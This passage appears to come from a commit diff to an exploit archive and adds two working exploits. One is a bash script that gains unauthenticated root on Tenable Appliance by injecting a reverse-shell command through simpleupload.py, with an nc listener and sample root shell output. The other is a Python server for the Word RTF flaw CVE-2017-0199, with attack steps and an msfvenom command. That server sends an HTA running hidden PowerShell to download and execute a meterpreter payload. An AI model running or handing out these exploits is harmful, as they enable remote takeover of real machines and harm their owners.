|
||||
guess previous version are also vulnerable.
|
||||
|
||||
# Exploit Title: Unauthenticated remote root code execution on Tenable Appliance
|
||||
# Date: 18/04/17
|
||||
# Exploit Author: agix
|
||||
# Vendor Homepage: https://www.tenable.com/
|
||||
# Version: < 4.5
|
||||
# Tested on: Tenable Appliance 3.5
|
||||
|
||||
tenable $ ./rce.sh
|
||||
bash: no job control in this shell
|
||||
bash-3.2# ls
|
||||
app
|
||||
appliancelicense.html
|
||||
appliancelicense.pdf
|
||||
appliancelicense.txt
|
||||
images
|
||||
includes
|
||||
index.ara
|
||||
js
|
||||
lcelicense.html
|
||||
lcelicense.pdf
|
||||
lcelicense.txt
|
||||
migrate
|
||||
nessuslicense.html
|
||||
nessuslicense.pdf
|
||||
nessuslicense.txt
|
||||
password.ara
|
||||
pvslicense.html
|
||||
pvslicense.pdf
|
||||
pvslicense.txt
|
||||
sclicense.html
|
||||
sclicense.pdf
|
||||
sclicense.txt
|
||||
simpleupload.py
|
||||
static
|
||||
bash-3.2# id
|
||||
uid=0(root) gid=0(root)
|
||||
bash-3.2#
|
||||
'
|
||||
|
||||
#!/bin/bash
|
||||
|
||||
TENABLE_IP="172.16.171.179"
|
||||
YOUR_IP="172.16.171.1"
|
||||
LISTEN_PORT=31337
|
||||
|
||||
|
||||
curl -k "https://$TENABLE_IP:8000/simpleupload.py" --data $'returnpage=/&action=a&tns_appliance_session_token=61:62&tns_appliance_session_user=a"\'%0abash -i >%26 /dev/tcp/'$YOUR_IP'/'$LISTEN_PORT' 0>%261%0aecho '&
|
||||
nc -l -p $LISTEN_PORT
|
132
platforms/windows/remote/41894.py
Executable file
132
platforms/windows/remote/41894.py
Executable file
|
@ -0,0 +1,132 @@
|
|||
'''
|
||||
# Exploit Title: Exploit CVE-2017-0199 (Word RTF RCE) vulnerability to gain meterpreter shell
|
||||
# Date: 17/04/2017
|
||||
# Exploit Author: Bhadresh Patel
|
||||
# Version: Microsoft Office 2007 SP3, Microsoft Office 2010 SP2, Microsoft Office 2013 SP1, Microsoft Office 2016, Microsoft Windows Vista SP2, Windows Server 2008 SP2, Windows 7 SP1, Windows 8.1.
|
||||
# CVE : CVE-2017-0199
|
||||
|
||||
This is an article with video tutorial and tool to gain a meterpreter shell by exploiting CVE-2017-0199 (Word RTF RCE) vulnerability.
|
||||
|
||||
Video tutorial
|
||||
|
||||
https://youtu.be/ymLVH5avkZw
|
||||
|
||||
Steps
|
||||
|
||||
Step-1) Create a malicious RTF
|
||||
- Start a webserver on attacker machine
|
||||
- Open MS Office word and insert an innocent remote doc file (innocent.doc) as an object
|
||||
- Save the file as RTF
|
||||
- Modify RTF to inject \objupdate control
|
||||
- Stop the webserver on attacker machine
|
||||
- Share this RTF file with victim
|
||||
|
||||
Step-2) Create a meterpreter shell on attacker machine
|
||||
- msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > shell.exe
|
||||
- Start multi handler
|
||||
|
||||
Step-3) Start attacker script (server.py)
|
||||
- Specify URL of meterpreter shell
|
||||
- Specify location of shell
|
||||
|
||||
Step-4) Victim opens the document and an attacker gets a reverse meterpreter shell
|
||||
'''
|
||||
|
||||
import os,sys,thread,socket
|
||||
|
||||
BACKLOG = 50 # how many pending connections queue will hold
|
||||
MAX_DATA_RECV = 999999 # max number of bytes we receive at once
|
||||
DEBUG = True # set to True to see the debug msgs
|
||||
def main():
|
||||
|
||||
# check the length of command running
|
||||
if (len(sys.argv)<3):
|
||||
print "Usage: python ",sys.argv[0]," <port> <payloadurl> <payloadlocation> "
|
||||
sys.exit(1)
|
||||
else:
|
||||
port = int(sys.argv[1]) # port from argument
|
||||
global payloadurl
|
||||
global payloadlocation
|
||||
payloadurl = sys.argv[2]
|
||||
payloadlocation = sys.argv[3]
|
||||
# host and port info.
|
||||
host = '' # blank for localhost
|
||||
|
||||
print "Server Running on ",host,":",port
|
||||
|
||||
try:
|
||||
# create a socket
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
|
||||
# associate the socket to host and port
|
||||
s.bind((host, port))
|
||||
|
||||
# listenning
|
||||
s.listen(BACKLOG)
|
||||
|
||||
except socket.error, (value, message):
|
||||
if s:
|
||||
s.close()
|
||||
print "Could not open socket:", message
|
||||
sys.exit(1)
|
||||
|
||||
# get the connection from client
|
||||
while 1:
|
||||
conn, client_addr = s.accept()
|
||||
|
||||
# create a thread to handle request
|
||||
thread.start_new_thread(server_thread, (conn, client_addr))
|
||||
|
||||
s.close()
|
||||
|
||||
def printout(type,request,address):
|
||||
if "Block" in type or "Blacklist" in type:
|
||||
colornum = 91
|
||||
elif "Request" in type:
|
||||
colornum = 92
|
||||
elif "Reset" in type:
|
||||
colornum = 93
|
||||
|
||||
print "\033[",colornum,"m",address[0],"\t",type,"\t",request,"\033[0m"
|
||||
|
||||
def server_thread(conn, client_addr):
|
||||
|
||||
# get the request from browser
|
||||
request = conn.recv(MAX_DATA_RECV)
|
||||
if (len(request) > 0):
|
||||
# parse the first line
|
||||
first_line = request.split('\n')[0]
|
||||
|
||||
# get method
|
||||
method = first_line.split(' ')[0]
|
||||
# get url
|
||||
url = first_line.split(' ')[1]
|
||||
check_exe_request = url.find('.exe')
|
||||
if (check_exe_request > 0):
|
||||
print "Received request for payload from "+client_addr[0]
|
||||
size = os.path.getsize(payloadlocation)
|
||||
data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 18:56:41 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 16:56:22 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: "+str(size)+"\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/x-msdos-program\r\n\r\n"
|
||||
with open(payloadlocation) as fin:
|
||||
data +=fin.read()
|
||||
conn.send(data)
|
||||
conn.close()
|
||||
sys.exit(1)
|
||||
if method in ['GET', 'get']:
|
||||
print "Received GET method from "+client_addr[0]
|
||||
data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:11:03 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 17:30:47 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: 315\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/hta\r\n\r\n<script>\na=new ActiveXObject(\"WScript.Shell\");\na.run('%SystemRoot%/system32/WindowsPowerShell/v1.0/powershell.exe -windowstyle hidden (new-object System.Net.WebClient).DownloadFile(\\'"+payloadurl+"\\', \\'c:/windows/temp/shell.exe\\'); c:/windows/temp/shell.exe', 0);window.close();\n</script>\r\n"
|
||||
conn.send(data)
|
||||
conn.close()
|
||||
if method in ['OPTIONS', 'options']:
|
||||
print "Receiver OPTIONS method from "+client_addr[0]
|
||||
data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:47:14 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nAllow: OPTIONS,HEAD,GET\r\nContent-Length: 0\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: text/html"
|
||||
conn.send(data)
|
||||
conn.close()
|
||||
if method in ['HEAD', 'head']:
|
||||
print "Received HEAD method from "+client_addr[0]
|
||||
data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:11:03 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 17:30:47 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: 315\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/doc\r\n\r\n"
|
||||
conn.send(data)
|
||||
conn.close()
|
||||
sys.exit(1)
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
Loading…
Add table
Reference in a new issue